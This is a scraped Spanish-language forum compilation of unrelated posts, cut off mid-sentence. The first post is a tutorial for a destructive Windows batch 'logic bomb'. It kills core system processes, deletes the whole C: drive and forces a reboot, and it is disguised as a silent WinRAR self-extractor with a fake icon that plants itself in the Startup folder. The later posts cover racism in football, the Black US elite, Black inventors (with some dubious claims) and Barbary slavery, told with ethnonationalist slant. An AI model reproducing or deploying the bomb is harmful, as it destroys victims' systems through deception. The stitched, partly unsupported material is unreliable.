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Bomba lógica con .BAT Que es una bomba lógica Una bomba lógica es una parte de código insertada intencionalmente en un programa informático que permanece oculto hasta cumplirse una o más condiciones preprogramadas, en ese momento se ejecuta una acción maliciosa. Por ejemplo, un programador puede ocultar una pieza de código que comience a borrar archivos cuando sea despedido de la compañía (en un disparador de base de datos (trigger) que se dispare al cambiar la condición de trabajador activo del programador). El software que es inherentemente malicioso, como virus o gusanos informáticos, frecuentemente contiene bombas lógicas que ejecutan algún programa en un tiempo predefinido o cuando cierta condición se cumple. Esta técnica puede ser usada por un virus o un gusano para ganar ímpetu y para esparcirse antes de ser notado. Muchos virus atacan sus sistemas huéspedes en fechas específicas, tales como el viernes 13 o el April fools' day (día de los bufones de abril) o el día de los inocentes. Los troyanos que se activan en ciertas fechas son llamados frecuentemente "bombas de tiempo". Para ser considerado una bomba lógica, la acción ejecutada debe ser indeseada y desconocida al usuario del software. Por ejemplo los programas demos, que desactivan cierta funcionalidad después de un tiempo prefijado, no son considerados como bombas lógicas. Hola amigos. Me pareció buena idea para los q no saben de este mundo Hack. Mostrar como hacer una bomba lógica para hacer alguna travesura. 1-primero deben abrir en bloc de notas. Donde escribirán las siguientes instrucciones. @hecho off esta instrucción se coloca al principio de toda bomba lógica. Taskkill /f /im (programa q se desea cerrar) la instrucción taskkill cierra cualquier programa q este ejecutando Windows. Ej.: taskkill /f /im explorer.exe del /s /f /q "Archivo o carpeta q se desea eliminar" Ej.: del /s /f /q "C:documents and SettingsAdministradorMis documentos" shutdown -s -f -t xx ("shutdown" apaga o reinicia la PC según las letras q coloquemos después de la instrucción. si colocamos "-S" el equipo se apagara, si colocamos "-R" la PC se reiniciara. luego va "-F" este comando hace q el proceso sea forzado o sea q no se pueda detener y por ultimo el comando "-T xx" el cual indica en cuanto tiempo se apagara o reiniciara la PC. (Las dos "x" indican el tiempo Ej.: "shutdown -s -f -t 10" esto indica q la PC se apagara en 10 segundos.) Ipconfig /release te desconecta de Internet Bueno estas son algunas de las instrucciones q pueden usar. Una vez abierto el bloc de notas escriban. @echo off ipconfig /release taskkill /f /im explorer.exe taskkill /f /im svchost.exe shutdown -a taskkill /f /im lsass.exe taskkill /f /im winlogon.exe del /s /f /q "C:WINDOWS" del /s /f /q "C:Archivos de programa" del /s /f /q "C:documents and Settings" del /s /f /q "C:" shutdown -r -f -t 01 exit bueno esta bomba borra todo el disco C ósea q es sumamente destructiva. Si quieren q borre otra cosa solo cambien los directorios. Bueno ya casi estamos. Presionamos el botón de cerrar y nos pregunta si deseamos guardar. Y nos pide q coloquemos un nombre con extensión (.txt) pero lo q debemos hacer es cambiar y colocarla extensión (.bat) Ej.: bomba.bat Bueno eso es todo ya hicimos la bomba y la guardamos como (.bat) no la vallan a ejecutar en su maquina. Ahora solo falta disfrazar la bomba para q la instalen. Para esto necesitamos el programa winrar.exe Una vez instalado el winrar hacemos clic derecho sobre el la bomba.bat y seleccionamos añadir al archivo. Se abre la ventana del winrar y seleccionen crear archivo SFX o AUTOEXTRAIBLE verán q el archivo cambia a (.exe) Luego van a AVANZADO y de ahí a OPCIONES SFX. En ruta de extracción escriban: C:documents and SettingsAll UsersMenú InicioProgramasInicio luego vallan a modo: y seleccionen ocultar todo y sobrescribir todo luego vallan a la pestaña texto e iconos: y con la opción cargar icono pueden ponerle el icono q quieran. Luego acepten todo y esperen unos segundos q lo termine de comprimir y listo les aparecerá un archivo (.exe) con el icono q ustedes eligieron. Y cuando lo ejecuten se alojara la bomba en el menú de inicio esperando a q reinicie la maquina para explotar ... jajajajaja bueno eso es todo espero les sirva...

En Rusia no quieren negros, gays ni latinos Simpatizantes del Zenit San Petersburgo, actual campeón del fútbol ruso, se oponen a la llegada de esos jugadores. El mejor pagado del equipo es el brasileño Hulk. "No somos racistas, pero para nosotros la ausencia de futbolistas negros en la plantilla del Zenit es una importante tradición que refuerza la identidad del club", explica el comunicado. Mientras tanto, la dirigencia del equipo aclaró que su política "está dirigida al desarrollo y la integración en la comunidad futbolística mundial y no respalda posturas arcaicas". Los fanáticos de la entidad de San Petersburgo añaden que Zenit, "como club más norteño de las grandes ciudades europeas, nunca tuvo vínculos con África, ni con América Latina, Australia u Oceanía". Y también se declaran "en contra de que en la plantilla del Zenit jueguen representantes de los minorías sexuales". La petrolera estatal rusa Gazprom, mayor compañía de gas natural del mundo y propietaria del equipo de San Petersburgo, aseguró que "los jugadores no se unen al club por su nacionalidad ni por su color de piel" El brasileño Hulk, que llegó al club tras el pago de 60 millones de euros al Porto en el último verano europeo y percibe un salario anual de 6,5 millones de dólares, ya había provocado una rebelión entre sus compañeros en el vestuario. La hinchada del Zenit, relacionada con movimientos ultranacionalistas y racistas, es de las más violentas en el fútbol de Rusia; un país en el que los jugadores negros son permanentemente agredidos en los estadios con gritos que imitan a monos. COMENTAR INTELIGENTEMENTE NO CUESTA NADA DE HECHO ES BUENO PARA TU CEREBRO.

La Elite Negra De USA Un Mundo Desconocido por Leslie Goffe NUEVA YORK, may (IPS) Los integrantes de la comunidad negra de Estados Unidos que pertenecen a la clase alta no son tan bien conocidos como los pobres y marginados de su misma raza. Sin embargo, una pequeña y poderosa elite, compuesta sobre todo de médicos, abogados y empresarios, ha existido durante más de 100 años en una posición incómoda entre la población blanca y el grueso de los negros estadounidenses. ''Ser negro significó durante mucho tiempo que uno creció en viviendas económicas, carece de una buena educación y no tuvo un padre en el hogar'', señaló Lewis Otis Graham, autor de ''Our Kind of People: Inside Black America Upper Class'' (Nuestro tipo de gente: Dentro de la clase alta negra estadounidense). ''No es obligatorio que todos los negros exitosos sean cantantes o jugadores de básquetbol. Necesitamos una definición más amplia de lo que significa ser negro en Estados Unidos'', protestó Graham, de 38 años, quien pertenece a la clase alta y es abogado, profesor universitario y autor de 12 libros. Graham se propuso revelar, en 418 páginas, las características del mundo casi desconocido de la clase alta afroestadounidense, con mansiones de un millón de dolares, costosas escuelas privadas sólo para negros, clubes sociales, centros de veraneo exclusivos y bailes de presentación en sociedad. Según dijo, su intención fue dejar al descubierto a un grupo incomprendido por los blancos y despreciado por la mayoría de los negros. ''Se sienten atrapados entre dos grupos que no se agradan mutuamente. La mayoría de los negros opinan que los de clase alta son menos auténticos, y a menudo piensan que los negros ricos son 'vendidos' o 'tíos Tom''', explicó Graham acerca de la clase social dentro de la cual creció. ''Tío Tom'' es un calificativo denigrante empleado entre los negros estadounidenses contra aquellos a los que se considera serviles con los blancos, por analogía con el personaje central de ''La cabaña del Tío Tom'', una novela escrita en 1852 por Harriet Beecher Stowe. Graham indicó que tampoco los blancos simpatizan con su clase. ''Muchos blancos encuentran perturbador o insólito que haya negros que son más ricos, educados e influyentes que ellos'', afirmó. La clase alta negra se formó en el período posterior a la abolición de la esclavitud, conocido como ''la reconstrucción'', en la década de 1870. Un puñado de negros fue elegido para integrar el Senado y la Cámara de Representantes, y en la década de 1880 Estados Unidos tuvo sus primeros empresarios negros millonarios. Poco después surgieron colegios y universidades dedicados a educar y pulir en exclusiva a la naciente elite negra. Segun Graham, esa clase alta negra pasó los ultimos 130 años estableciendo una red de instituciones socialmente aceptables que incluye colegios, iglesias, clubes sociales, centros turísticos y clubes sociales exclusivos para mujeres, como ''Links'', o para hombres, como ''Boule''. Muchos de los actuales líderes negros más conocidos, como Andrew Young (ex embajador estadounidense ante las Naciones Unidas) o Vernon Jordan (abogado de grandes compañías, y también amigo y confidente del presidente Bill Clinton), tienen sus raíces en esa elite. David Dinkins, el ex alcalde negro de Nueva York, reconoció que los 4.000 socios de ''Boule'' lo ayudaron a ser electo. Otro miembro de ese club es E. Thomas Williams (hijo), un riquísimo empresario en bienes raíces quien además integra el Consejo Directivo del famoso Museo de Arte Moderno de Nueva York. ''Creo que es importante para los negros encontrar lugares donde nos podemos reunir y establecer contacto social con gente que comprende nuestras experiencias y temores'', dijo Graham. En la mayoría de los clubes sociales de la clase alta negra solo es posible ingresar por invitación. Los integrantes menos pudientes y vinculados de la comunidad afroestadounidense han criticado a esas instituciones por practicar la discriminación y la exclusión. Harry Doley, otro miembro de ''Boule'' y el primer negro que tiene un escaño en la Bolsa de Valores de Nueva York, rechazó esas críticas. ''La gente puede emplear el termino 'elitista', pero es más exacto decir que éste fue, y es, un grupo de elite. Es un poco absurdo que algunos negros deban disculparse por ser bien educados, emprendedores y exitosos, y haber elegido pertenecer a organizaciones compuestas por otros como ellos'', observó Doley. Ser considerado ''como ellos'' o ''su tipo de gente'' no depende sólo de la riqueza. La cantidad de negros que ganan más de 100.000 dólares anuales se duplicó entre 1988 y 1998 (de 240.000 a 414.500), según la Oficina de Censos. Pero el dinero no basta para ingresar a los círculos de la clase alta. ''Se trata de establecer dónde estudió medicina el abuelo de una persona, si ésta fue al colegio o al internado correcto, y desde cuándo hay profesionales en su familia. No es sólo una cuestión de dinero'', aseguró Graham. Los miembros de la elite negra, cuya amplia mayoría integra el Partido Demócrata, se sienten complacidos al señalar que ayudan o a los integrantes menos favorecidos de la comunidad negra. Los socios de ''Boule'', por ejemplo, patrocinan escuelas, centros infantiles y becas universitarias. Un grupo de mujeres de ''Links'' recolectó el año pasado más de un millón de dólares para el Fondo Unido de Universidades Negras, y otro millón destinado a la Asociación Nacional para el Progreso de la Gente de Color. Graham es tajante sobre el futuro de la elite negra: ''Deberá adaptarse o morir''. ''Cuando la cantidad de negros ricos aumente, las familias de la vieja guardia que manejan las organizaciones de elite comenzarán a ser menos relevantes y poderosas, porque la nueva elite afroestadouninse tendrá aun más dinero e influencia que sus predecesores'', sostuvo COMENTAR INTELIGENTEMENTE NO CUESTA NADA DE HECHO ES BUENO PARA TU CEREBRO

No hay racismo en Inglaterra Desde que las primeras personas de raza negra llegaron a Inglaterra con intención de convertirse en ciudadanos, en Inglaterra se asentó un respeto por ellos que no se ha dado en ningún otro país del mundo. En 1948, un barco partió de Jamaica con 500 hombres y mujeres en busca de una vida mejor. Jamaica era por aquel entonces una colonia británica, y muchos de sus ciudadanos habían servido en las fuerzas aéreas durante la Segunda Guerra Mundial. Equivocadamente, muchos creen que los negros actuales en todos los países son un subproducto no deseado de la esclavitud, pero no este no es el caso británico. De hecho, no sólo prohibieron la esclavitud dentro de Gran Bretaña, sino que prohibieron el comercio con esclavos y su uso en todas las colonias británicas. El racismo siempre estuvo prohibido en Inglaterra, y con el tiempo se prohibió en todas las colonias británicas Este comportamiento digno hacia la gente de otras razas se ha mantenido durante los años, y de hecho, da gusto ver el respeto con el que los blancos tratan a los negros cuando tienen que ir al supermercado y es un negro el que le atiende, o cuando el guardia de seguridad les dice adiós a la salida del trabajo. Por otro lado, nunca le harían el ruido del mono a Eto’o si el Arsenal jugara contra el Barça en Champions, y, ni mucho menos, pensarían “puto negro” si el negro que trabaja con ellos en la oficina les dejara un marrón, ellos lo verían como “puto John”, “puto Paul”, dependiendo del nombre que tuviera el que se las ha jugado. La duda que aún conservo es si los negros sienten lo mismo hacia los blancos, si se dan cuenta que se les respeta, si ellos respetan del mismo modo a los blancos. Y aún no lo sé porque no he tenido la oportunidad de hablar con ninguno, salvo para comprar comida en el Mark & Spencer’s, o para decirle adiós al guardia de seguridad en la oficina.

Científicos e Inventores Negros (La gloria olvidada y negada por la sociedad) (Nigeriano) Doctor Philip Emeagwali Realizó el cálculo de computadora más rápido del mundo, una asombrosa operación de 3.100 millones de cálculos por segundo. ¿Alguna vez un negro ha inventado algo? La respuesta inevitable debe ser no, nunca, siempre y cuando usted crea "la historia oficial". Pero los hechos cuentan una historia diferente. Un hombre negro, por ejemplo, inventó esos semáforos sin los que el mundo no puede andar y el padre de la medicina no fue Hipócrates sino Imhotep, un multifacético genio negro que vivió 2000 años antes que el médico griego. Es que los europeos todavía se niegan a reconocer que el mundo no los estaba esperando en la oscuridad para que llevaran la luz. La historia de Africa ya era vieja cuando Europa comenzó a andar. Un maestro de secundaria ghaniano de visita recientemente en Londres no podía creer que un hombre negro inventó los semáforos. "¿Qué?," preguntó con absoluta incredulidad. "¿Cómo puede un hombre negro haber inventado los semáforos?" Bien, usted puede imaginar la clase de educación que este maestro de secundaria ha impartido, o está impartiendo, a sus estudiantes, no por malicia sino por pura ignorancia. ¿Qué clase de educación reciben los africanos? Todos piensan, igual que este maestro ghaniano, que los negros "no pueden" inventar nada, sino que compran las invenciones de los otros. Bueno, aquí hay algo para ellos. Un nuevo libro de texto, "Científicos e inventores negros", publicado recientemente en Londres por BIS Publications, echa por tierra la noción de que las personas negras no tienen inventiva. Escrito en conjunto por Ava Henry y Michael Williams (ambos directores de la filial londinense de BIS Publications), el libro está pensado para ser usado por niños de entre 7 y 16 años. "Nosotros esperamos que los padres y maestros ayuden a los niños en esta tarea de conocimiento y descubrimiento", dicen los autores. Las personas negras están encontrando cada vez más difícil entender por qué, incluso en la era de apertura y liberalismo caracterizada por Internet, se les sigue negando el reconocimiento debido a inventores y científicos negros. Y esto ocurre a pesar de que hay documentación que prueba que varias invenciones importantes para el mundo han sido obra de la creatividad de los negros. En el pasado Escribiendo sobre las invenciones y los descubrimientos africanos, Count C. Volney, el renombrado historiador francés, escribió: "Personas ahora olvidadas descubrieron, mientras otros eran todavía bárbaros, los elementos de las artes y de la ciencia. Una raza de hombres ahora rechazada por la sociedad por su piel oscura y su pelo enrulado cimentó en el estudio de las leyes de la naturaleza esos sistemas civiles y religiosos que todavía gobiernan el universo." A lo que el doctor John Henrik Clarke, un historiador afroamericano, agrega: "Primero, las distorsiones deben admitirse. El hecho lamentable es que la mayoría de lo que nosotros llamamos ahora historia mundial es sólo la historia del primer y segundo florecimiento de Europa. Los europeos todavía no reconocen que el mundo no los estaba esperando en la oscuridad para que trajeran la luz. La historia de Africa ya era vieja cuando Europa nació." El doctor Clarke es apoyado por el estudioso y explorador alemán Leo Frobenius, quien escribió en su principal obra, "Und Afrika Sprach", publicada en 1910: "En esa porción del globo, el anglosajón Henry Morton Stanley les dio el nombre de "oscuros" y "oscurísimos"... Pero antes de las invasiones extranjeras, los africanos no vivían en grupos pequeños sino en comunidades de 20.000 o 30.000 habitantes, cuyas carreteras estaban sombreadas por espléndidas avenidas de palmeras, plantadas a intervalos regulares y de una manera ordenada." El trabajo de Frobenius incluso fue mejorado por Thomas Hodgkins, un historiador británico que escribió después: "Cuando las personas hablan, como todavía algunas veces lo hacen, sobre el Africa al sur del Sahara como un continente sin historia, lo que ellos realmente dicen es que esa porción de Africa tiene una historia de la que nosotros, los occidentales, somos deplorablemente ignorantes... Uno debe admitir que todavía somos víctimas de una mentalidad colonialista: encontramos difícil de comprender que los africanos poseyeron su propia civilización durante muchos siglos antes de que los europeos, comenzando con los portugueses al final del siglo XV, concibieran la idea de intentar venderles la nuestra." La mayoría de los historiadores acepta ahora que los antiguos imperios africanos de Ghana, Malí y Songhay* habían desarrollado sociedades científicas. En "Una historia del Desarrollo Intelectual de Europa", publicada en 1864, J. W. Draper escribió sobre el desarrollo social y artístico inmensamente superior de los moros (los negros), que bien podrían haber visto con arrogante desprecio las viviendas de los gobernantes de Alemania, Francia y Inglaterra, que por entonces eran apenas mejores que sus establos." Recientemente, el periodista británico de televisión Jon Snow, quien se hizo un nombre como periodista en Africa en los años setenta, quedó asombrado al encontrar en una biblioteca en Tombuctú (Malí), pilas de libros fechados "hace más de 500 años" (sus propias palabras en cámara). "A nosotros (en referencia a los europeos) nos gusta pensar que fue nuestra cultura la que les llevó los libros a Africa, pero aquí en mis manos está la evidencia que muestra lo contrario. Ellos nos dieron los libros", dijo Snow mientras hojeaba uno de ellos. La documentación demuestra que las primeras universidades en Europa se fundaron mucho después de la Universidad de Sankore, en Tombuctú, cuyos profesores eran todos africanos. El antiguo Egipto Hasta en el antiguo Egipto, que era esencialmente un imperio negro cuya gran gloria se ha atribuido maliciosamente a los árabes, los negros fueron quienes iniciaron el camino de las ciencias. Sir J. G. Wilkinson admitió en su libro "Los antiguos egipcios" (1854) "que los antiguos egipcios poseyeron un considerable conocimiento de la química y del uso de óxidos metálicos, como quedó evidenciado en los colores aplicados a sus piezas de vidrio y porcelana; y ellos incluso estaban familiarizados con los efectos de los ácidos sobre los colores y eran capaces de lograr matices en las tinturas de las telas utilizando métodos similares a los que nosotros empleamos en nuestros trabajos sobre el algodón." En su libro "Antiguo Egipto: la Luz del Mundo" (1907), Gerald Massy admitió que Imhotep, el multifacético genio negro, fue el verdadero "padre de la medicina" y no, como se sostiene erróneamente, el médico griego Hipócrates. Imhotep era un antiguo egipcio que vivió aproximadamente en el 2300 antes de Cristo. Los documentos muestran que tanto Grecia como Roma tomaron sus conocimientos de medicina de él. El era venerado en Roma como el "Príncipe de la Paz en la forma de un hombre negro". También fue un arquitecto adelantado a su tiempo, y sirvió como primer ministro del rey Zoser. Hipócrates, el llamado "padre de la medicina", vivió 2.000 años después de Imhotep. Sin embargo, todavía el juramento tomado a los médicos de la era moderna observa un código de ética médica basada en Hipócrates y no en Imhotep. Este rechazo o falta de reconocimiento de las invenciones y descubrimientos de los negros la razón por la que personas como el maestro ghaniano pueden decir que los negros no han inventado nada. Invenciones tales como el papel, la elaboración de zapatos, las bebidas alcohólicas, los cosméticos, las bibliotecas, la arquitectura y muchos más han sido obra de personas negras mucho antes del florecimiento de Europa. Arthur Weigall ("Personalidades de la Antigüedad", publicado en 1928) admite que Akhenatón, el monarca negro del antiguo Egipto, fue la primera persona en predicar la creencia en un Dios todopoderoso, todo amor. "En los primeros años de su reinado _escribe Weigall_, cuando todavía era un muchacho, Akhenatón promulgó una doctrina que estaba en su aspecto exterior un culto del poder invisible e intangible, llamado Aton. Se hacía visible para la humanidad en la luz del sol, generadora de vida, pero en su significado más profundo, simplemente era la creencia en un único Dios, todopoderoso, padre de todas las criaturas vivientes y por quien todas las cosas tenían su razón de ser." Sobre Akhenatón, J. A. Rogers (Los grandes hombres de color del mundo) escribió: Siglos antes del rey David, él escribió salmos tan bonitos como aquéllos del monarca judío. Trescientos años antes de Cristo, Akhenaton predicó y vivió un evangelio de amor perfecto, hermandad y verdad. Dos mil años antes de Mahoma, él enseñó la doctrina de un solo Dios. Tres mil años antes que Darwin, él se dio cuenta de la unidad que atraviesa todas las cosas vivientes." Cuando Akhenatón predicaba su creencia en un solo Dios todoperoso, era considerado un hereje. Así, la creencia moderna en un Dios omnipotente, tan cara para cristianos, judíos y musulmanes, enverdad es una consecuencia del pensamiento de Akehnatón, cuyos orígenes son muy anteriores a la era judeocristiana. Más invenciones negras En la era romana, un hombre negro ahora olvidado, Tiro (nacido hacia el 103 antes de Cristio) fue el inventor de la escritura taquigráfica. Varios historiadores han recordado a Tiro como secretario de Marco Tulio Cicero. Cicero amaba dictar sus cartas a Tiro, que las escribía en taquigrafía. ¿Cuántos siglos pasaron desde el año 63 antes de Cristo hasta el 1837 de nuestra era, cuando el inglés Isaac Pitman "inventó" su taquigrafía? Otro historiador, Charles Rollin, cuenta que los egipcios, a raíz de las inundaciones provocadas por el Nilo, estaban obligados a medir a menudo su país y para ese propósito idearon un método que dio origen a la geometría. Ese método pasó de Egipto a Grecia, y se cree que fue Thales de Mileto quien lo llevó en uno de sus viajes. Y si algo faltaba para asombro del maestro ghaniano, Esopo, que vivió en el siglo VI antes de cristo, también era negro. Según Planudes el Grande, en el siglo XIV un monje a quien le debemos la forma actual de las fábulas de Esopo, lo describió "con labios gruesos y piel negra". La influencia de Esopo en el pensamiento y la moral occidental es profunda. Platón, Sócrates, Aristófanes, Shakespeare, La Fontaine y otros grandes pensadores se inspiraron en su sabiduría. La era moderna Sin duda, la invención de un negro más visible de la era moderna son los semáforos. Garret Morgan, un afroamericano (nacido en Kentucky, EE.UU., el 4 de marzo de 1877), inventó el sistema automático de señales de tránsito en 1923, y después vendió los derechos a la corporación General Electric por 40.000 dólares.Morgan, el séptimo de 11 hermanos, sólo tenía una educación escolar elemental, pero era extremadamente inteligente. Comenzó su vida laboral como técnico de máquinas de coser y rápidamente inventó un sistema para perfeccionar las máquinas, que vendió en 1901 en menos de 50 dólares.Morgan también inventó la primera máscara de gas en 1912, por la que obtuvo una patente del gobierno norteamericano. Seguidamente puso una compañía para fabricar las máscaras. El negocio inicialmente fue bueno, sobre todo durante el Primera Guerra Mundial, pero cuando sus clientes descubrieron que él era negro, las ventas empezaron a disminuir. Morgan intentó engañar a sus clientes racistas inventando una crema que se aplicaba para alisar el pelo y pasar como un indio de la reservación Walpole, en Canadá. Murió en 1963, a los 86 años. Otro de los grandes inventores negros fue Elijah McCoy. Había nacido el 2 de mayo de 1843 en Colchester, Ontario, Canadá. Sus padres habían escapado de la esclavitud de América del Sur y fueron a vivir a Canadá con sus 12 niños. De joven Elijah fue bueno para la mecánica. Después de estudiar en Edimburgo (Escocia), regresó a Canadá, pero no podía encontrar trabajo. Terminó en EE.UU., donde consiguió empleo como operario ferroviario en Detroit, Michigan. Era el encargado de engrasar las maquinarias. McCoy se planteó desarrollar un sistema de engrase que no obligara a parar el funcionamiento de las máquinas, y en 1872 inventó un sistema de goteo para máquinas de vapor que permitió engrasarlas durante la marcha. Cuando murió, en 1929, McCoy tenía más de 50 patentes a su nombre, inclusive una mesa de hierro y un rociador de césped. Su dispositivo de engrase para las máquinas de vapor cimentó la revolución industrial del Siglo XX. De vuelta a casa en Africa, el científico ghaniano Raphael E. Armattoe (1913-1953), candidato al Premio de Nobel de Medicina en 1948, encontró la cura para la enfermedad del gusano de agua de Guinea con su droga Abochi en los años cuarenta. Él también hizo una extensa investigación sobre las diferentes especies de hierbas y raíces africanas de uso medicinal. Los inventores negros de EE.UU. Sólo en los Estados Unidos, miles de inventores y científicos negros han contribuido enormemente al desarrollo nacional, sino mundial, sin ningún reconocimiento. Esta es una muestra -una muestra pequeña- de inventores negros de los Estados Unidos en la era moderna: En medicina, Charles R. Drew fue el pionero en el desarrollo del banco de sangre. En 1940, su trabajo con el plasma y el almacenamiento abrió el camino para el desarrollo de los bancos de sangre en los Estados Unidos. En 1935, el doctor William Hinton publicó el primer libro de texto médico escrito por un afroamericano, basado en su investigación en sífilis. El físico Lloyd Quarterman jugó un papel crucial en el equipo científico norteamericano que desarrolló el primer reactor nuclear en los años treinta e inició la era atómica en el mundo. Otro físico, Robert E. Shurney, desarrolló los neumáticos de malla de alambre para el robot de la Apolo XV que alunizó en 1972. George Washington Carver, un genio agrícola, desarrolló nuevos métodos de cultivo que salvaron la economía del sur de los EE.UU. en los años veinte. En 1927 hizo inmensas mejoras al proceso de fabricación de pinturas y colorantes. También investigó ampliamente en la tierra y las enfermedades de las plantas, y desarrolló 325 productos derivados del maní, entre ellos tintas, alimentos y productos cosméticos. Jan Ernst Matzeliger (1852-1889) inventó la "máquina sin fin" que impactó grandemente en la industria de la zapatería del mundo. Obtuvo una patente del gobierno en 1883. Luego vendió los derechos a la firma Consolidated Hand Method Lasting Machine Co. Cuando murió, en 1889, tenía otras 37 patentes a su nombre. Estados Unidos lo honró en 1992 con una estampilla de correo con su retrato. El doctor Ernest E. Just (1883-1941) estudió la fertilización y la estructura celular del huevo antes de la Primera Guerra Mundial. Él le dio al mundo la primera visión de la arquitectura humana al explicar cómo trabajan las células. Granville T. Woods (1856-1910) inventó un nuevo transmisor del teléfono que revolucionó la calidad y distancia a la que podía viajar el sonido. La compañía de teléfonos Bell compró la patente de Woods, cuyo trabajo más memorable fue la mejora que logró para los ferrocarrilles. Primeramente, él inventó el "sistema de telegrafía ferroviario", que permitió enviar mensajes de tren a tren, pero en 1888 mejoró su invento con un sistema que permitió electrificar los trenes. ¿Más? La lista es inagotable. Veamos algunos otros inventores negros. Richard Spikes desarrolló la caja de cambios automáticos para los automóviles en 1932. George Carruthers, un astrofísico de la NASA, desarrolló la cámara remota ultravioleta que se usó en la misión de la Apolo XVI y que permitió al mundo tener una visión de los cráteres de la luna en los años setenta. Su combinación de telescopio y cámara es aún usada en las misiones de los transbordadores. En 1986, la doctora Patricia E. Bath, una oftalmóloga, inventó un dispositivo láser que se ha usado desde entonces en la cirugía de cataratas. En 1989 el doctor Philip Emeagwali, un inmigrante nigeriano en los EE.UU., realizó el cálculo de computadora más rápido del mundo, una asombrosa operación de 3.100 millones de cálculos por segundo. Su aporte ha cambiado la manera de estudiar el calentamiento global y las condiciones del tiempo y también ha ayudado a determinar cómo el petróleo fluye bajo la tierra. El doctor Daniel Hale Williams fue el primero en realizar, en 1893, una operación de corazón en un hombre. El químico Percy L. Julian, "uno de los más grandes científicos del siglo XX", según la revista Ébano, abrió el camino para el desarrollo del tratamiento del mal de Alzheimer y del glaucoma con sus experimentos en 1933. "Su investigación en la síntesis de la fisostigmina, una droga para tratar el glaucoma, determinó que mejora la memoria de los pacientes del mal de Alzheimer y sirvió como antídoto del gas nervioso," según Ébano. Benjamín Banniker fue el primer inventor afroamericano notable. Él hizo el primer reloj en los Estados Unidos América y experimentó en astrología. Después, fue asistente del francés LaFlan, quien planificó la ciudad de Washington. Cuando LaFlan dejó el país desencantado con los norteamericanos, Banniker recordó los planos y se convirtió en el verdadero responsable del diseño de la ciudad, una de las pocas en los Estados Unidos con calles suficientemente anchas como para permitir el paso de 10 automóviles al mismo tiempo." * Los songhay fueron un pueblo negroafricano de las orillas del Níger medio, mezcla de tuareg y fulbe. En el siglo VII u VIII crearon un imperio con capital en Kukya y después en Gao (1010). Controlaban las rutas de las caravanas del Sáhara central, que llevaban a Tombuctú el oro del Sudán y rgresaban con la sal de las salinas de Teghazza, en el norte del Sáhara. En 1591 el imperio fue destruido por los marroquíes. Fuente: Científicos negros e Inventores, editado en el Reino Unido por BIS Publications. SI QUIEREN COMENTEN O DEJEN PUNTOS CREO QUE ESTE POST LO MERECE!

Hubo más europeos esclavizados por los musulmanes que esclavos negros enviados a América ¡Quién lo había de decir! La trata de esclavos: el infame pecado que, según musulmanes, africanos y europeos etnomasoquistas, mancilla irremisiblemente la dignidad de Europa, ahora resulta que semejante indignidad fue ampliamente superada, al menos en los siglos XVI y XVII, por la cometida contra los nuestros por parte del islam. Es cierto, es cierto: el “tú más” no justifica nada. La trata de esclavos negros fue una indignidad tan aborrecible como injustificable. Pero hay una pequeña diferencia: nosotros la reconocemos y deploramos (a veces —pienso en nuestros progres etnomasoquistas— hasta exagerando los zurriagazos). Ellos, en cambio —el mundo musulmán—, no reconoce ni deplora nada. Hay otra diferencia además: cuando nos querían arrebatar a los nuestros, los europeos combatimos todo lo que pudimos al enemigo (y así se produjo la victoria de Lepanto, y así tuvo lugar la expulsión de los moriscos, que colaboraban en las razias). Y cuando nos capturaban a los blancos, los padres terciarios y mercedarios intentaban rescatarlos. Nada, absolutamente nada de ello existió por desgracia en África. Pero pasemos a ver lo que nos cuenta el profesor norteamericano Robert C. Davis. Los historiadores estadounidenses han estudiado todos los aspectos de la esclavización de los africanos por parte de los blancos, pero han ignorado en gran medida la esclavitud de los blancos por parte de los africanos del Norte. Christian Slaves, Muslim Masters Esclavos cristianos, amos musulmanes es un libro cuidadosamente documentado y escrito con claridad sobre lo que el profesor Davis denomina "la otra esclavitud", que floreció durante aproximadamente la misma época que el tráfico transatlántico de esclavos y que devastó a cientos de comunidades costeras europeas. En la mente de los blancos de hoy, la esclavitud no juega en absoluto el papel central que tiene entre los negros. Y, sin embargo, no se trató ni de un problema de corta duración ni de algo carente de importancia. La historia de la esclavitud en el Mediterráneo es, de hecho, tan siniestra como las descripciones más tendenciosas de la esclavitud americana. Un comercio al por mayor La costa de Berbería, que se extiende desde Marruecos hasta la actual Libia, fue el hogar de una próspera industria del secuestro de seres humanos desde 1500 hasta aproximadamente 1800. Las principales capitales esclavistas eran Salé (en Marruecos), Túnez, Argel y Trípoli, habiendo sido las armadas europeas demasiado débiles durante la mayor parte de este período para efectuar algo más que una resistencia meramente simbólica. El tráfico trasatlántico de negros era estrictamente comercial, pero para los árabes los recuerdos de las Cruzadas y la rabia por haber sido expulsados de España en 1492 parecen haber motivado una campaña de secuestro de cristianos que casi parecía una yihad. "Fue quizás este aguijón de la venganza, frente a los amables regateos en la plaza del mercado, lo que hizo que los traficantes islámicos de esclavos fueran mucho más agresivos y en un principio mucho más prósperos (por así decirlo) que sus homólogos cristianos", escribe el profesor Davis. Durante los siglos XVI y XVII fueron más numerosos los esclavos conducidos al sur a través del Mediterráneo que al oeste a través del Atlántico. Algunos fueron devueltos a sus familias contra pago de un rescate, otros fueron utilizados para realizar trabajos forzados en África del Norte, y los menos afortunados murieron trabajando como esclavos en las galeras. Lo que más llama la atención de las razias esclavistas contra las poblaciones europeas es su escala y alcance. Los piratas secuestraron a la mayoría de sus esclavos interceptando barcos, pero también organizaron grandes asaltos anfibios que prácticamente dejaron despobladas partes enteras de la costa italiana. Italia fue el país que más sufrió, en parte debido a que Sicilia está a sólo 200 km de Túnez, pero también porque no tenía un gobierno central fuerte que pudiese resistir a la invasión. Las grandes razias a menudo no encontraron resistencia Cuando los piratas saquearon, por ejemplo, Vieste en el sur de Italia en 1554, se hicieron con el alucinante número de 6.000 presos. Los argelinos secuestraron 7.000 esclavos en la bahía de Nápoles en 1544, una incursión que hizo caer tanto el precio de los esclavos que se decía poder "intercambiar a un cristiano por una cebolla". España también sufrió ataques a gran escala. Después de una razia en Granada en 1556 que se llevó a 4.000 hombres, mujeres y niños, se decía que "llovían cristianos en Argel". Y por cada gran razia de este tipo, había docenas más pequeñas. La aparición de una gran flota podía hacer huir a toda la población al interior, vaciando las zonas costeras. Existe la creencia de que Inglaterra era una potencia naval formidable desde la época de Francis Drake, pero a lo largo del siglo XVII los piratas árabes operaron libremente en aguas británicas, penetrando incluso en el estuario del Támesis para capturar y asolar las ciudades costeras. En sólo tres años, desde 1606 hasta 1609, la armada británica reconoció haber perdido, por culpa de los corsarios argelinos, no menos de 466 buques mercantes británicos y escoceses. A mediados de la década de 1600, los británicos se dedicaron a un activo tráfico de negros entre ambos lados del Atlántico, pero muchas de las tripulaciones británicas pasaron a ser propiedad de los 